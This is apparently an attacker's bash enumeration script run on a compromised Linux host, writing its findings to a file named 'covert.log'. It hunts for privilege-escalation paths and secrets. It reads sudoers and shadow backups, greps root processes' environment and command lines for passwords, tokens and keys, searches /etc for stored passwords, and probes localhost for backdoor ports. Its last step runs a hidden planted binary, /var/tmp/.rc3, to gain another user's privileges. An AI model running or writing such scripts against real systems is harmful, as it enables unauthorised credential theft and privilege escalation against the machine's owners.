#!/bin/bash
set +e
L=$HOME/covert.log; : > "$L"
R=$'\e[31m'; G=$'\e[32m'; Y=$'\e[33m'; C=$'\e[36m'; N=$'\e[0m'
E(){ echo "$@" | tee -a "$L"; }
S(){ echo; echo "${C}═══ $* ═══${N}" | tee -a "$L"; }
HIT(){ echo "${G}[★ HIT]${N} $*" | tee -a "$L"; }
BAD(){ echo "${R}[✖]${N} $*" | tee -a "$L"; }

S "1. IDENTITY + GROUPS"
id
groups 2>/dev/null

S "2. FILES WRITABLE BY MY GROUP"
find / -group $(id -g) -type f -writable 2>/dev/null | grep -vE "^/proc|^/sys|^/home/myfifasalon/" | head -20

S "3. SGID FILES IN MY GROUPS"
for g in $(id -G); do
  gid=$(getent group $g | cut -d: -f3)
  [ -n "$gid" ] && find / -perm -2000 -group "$gid" -type f 2>/dev/null | head -5
done

S "4. ACLs"
which getfacl >/dev/null 2>&1 && {
  for f in /etc/passwd /etc/shadow /etc/sudoers /etc/nginx/nginx.conf; do
    [ -e "$f" ] && { echo "--- $f ---"; getfacl -p "$f" 2>&1 | grep -vE "^#|^$" | head -10; }
  done
} || E "getfacl not installed"

S "5. SUDOERS (direct read)"
cat /etc/sudoers 2>/dev/null | grep -vE "^#|^$"
ls -la /etc/sudoers.d/ 2>/dev/null
for f in /etc/sudoers.d/*; do
  [ -f "$f" ] && { echo "--- $f ---"; cat "$f" 2>&1 | grep -vE "^#|^$"; }
done

S "6. SHADOW-GROUP FILES"
find / -perm -g+r -group shadow -type f 2>/dev/null | head -20
ls -la /etc/shadow* /etc/gshadow* 2>/dev/null
ls -la /var/backups/shadow.bak /var/backups/passwd.bak 2>/dev/null

S "7. ENV FROM ROOT PROCS"
for pid in $(pgrep -u root 2>/dev/null | head -20); do
  [ -r "/proc/$pid/environ" ] && {
    E "--- pid $pid ---"
    tr '\0' '\n' < "/proc/$pid/environ" 2>/dev/null | grep -iE "PASS|TOKEN|SECRET|KEY" | head -5
  }
done

S "8. CMDLINE SECRETS"
for pid in $(pgrep -u root 2>/dev/null | head -30); do
  cmd=$(tr '\0' ' ' < "/proc/$pid/cmdline" 2>/dev/null)
  echo "$cmd" | grep -qiE "pass|token|pwd|key|secret" && HIT "pid $pid: $cmd"
done

S "9. /etc FILES WITH PASSWORDS"
grep -rIl -E "password|passwd|secret|api_key|token" /etc 2>/dev/null | head -30 | while read f; do
  [ -r "$f" ] && {
    hits=$(grep -iE "password[[:space:]]*=[[:space:]]*[^ ]|passwd[[:space:]]*=[[:space:]]*[^ ]" "$f" 2>/dev/null | head -2)
    [ -n "$hits" ] && E "$f :: $hits"
  }
done

S "10. RECENT /etc CHANGES"
find /etc /usr/local /opt /var/spool -newer /etc/hostname -type f 2>/dev/null | head -30

S "11. WORLD-WRITABLE FILES"
find /etc /usr/local /opt -perm -0002 -type f 2>/dev/null | head -30

S "12. CGroups + SYSTEMD-RUN"
systemd-run --scope --user /bin/true 2>&1 | head -3
ls -la /sys/fs/cgroup/ 2>/dev/null | head -10

S "13. MOUNTS"
mount 2>/dev/null | grep -E "noexec|nosuid|nodev" | head -20
findmnt -rno TARGET,SOURCE,FSTYPE,OPTIONS 2>/dev/null | head -20

S "14. DOCKER/CONTAINERD"
ls -la /var/run/docker.sock /run/docker.sock /run/containerd/containerd.sock 2>/dev/null

S "15. LISTENERS"
ss -tlnp 2>/dev/null | head -20
for p in 31337 4444 5555 12345 9999; do
  timeout 1 bash -c "echo > /dev/tcp/127.0.0.1/$p" 2>/dev/null && HIT "port $p open"
done

S "16. CRONTABS"
ls -la /var/spool/cron/crontabs/ 2>/dev/null
cat /var/spool/cron/crontabs/* 2>/dev/null | head -30

S "17. AT JOBS"
ls -la /var/spool/cron/atjobs/ 2>/dev/null
which at batch 2>/dev/null

S "18. SYSTEMD WRITABLE"
systemctl show-environment 2>/dev/null | head -20
find /etc/systemd/system -writable -type f 2>/dev/null | head -10

S "19. BASHRC OF ROOT"
ls -la /root/.bashrc /root/.profile 2>&1

S "20. MOTD HOOKS"
ls -la /etc/update-motd.d/ 2>/dev/null
ls -la /etc/motd /etc/issue 2>/dev/null

S "21. SSH CONFIG"
grep -E "AuthorizedKeysCommand|ForceCommand|PermitUserEnvironment" /etc/ssh/sshd_config 2>/dev/null

S "22. MAIL QUEUES"
ls -la /var/mail/ /var/spool/mail/ 2>/dev/null

S "23. X11 SOCKETS"
ls -la /tmp/.X11-unix/ 2>/dev/null

S "24. AGENTS"
find /run/user /tmp -name "S.gpg-agent*" -o -name "ssh-*" 2>/dev/null | head -10

S "25. PID 1 CAPS"
cat /proc/1/status 2>/dev/null | grep -E "Cap|NoNewPrivs|Seccomp"

S "26. POSTGRES EUID VIA .rc3"
/var/tmp/.rc3 -p -c 'id' 2>&1 | tee -a "$L"

S "SUMMARY"
E "log: $L ($(wc -l < $L) lines)"
S "DONE"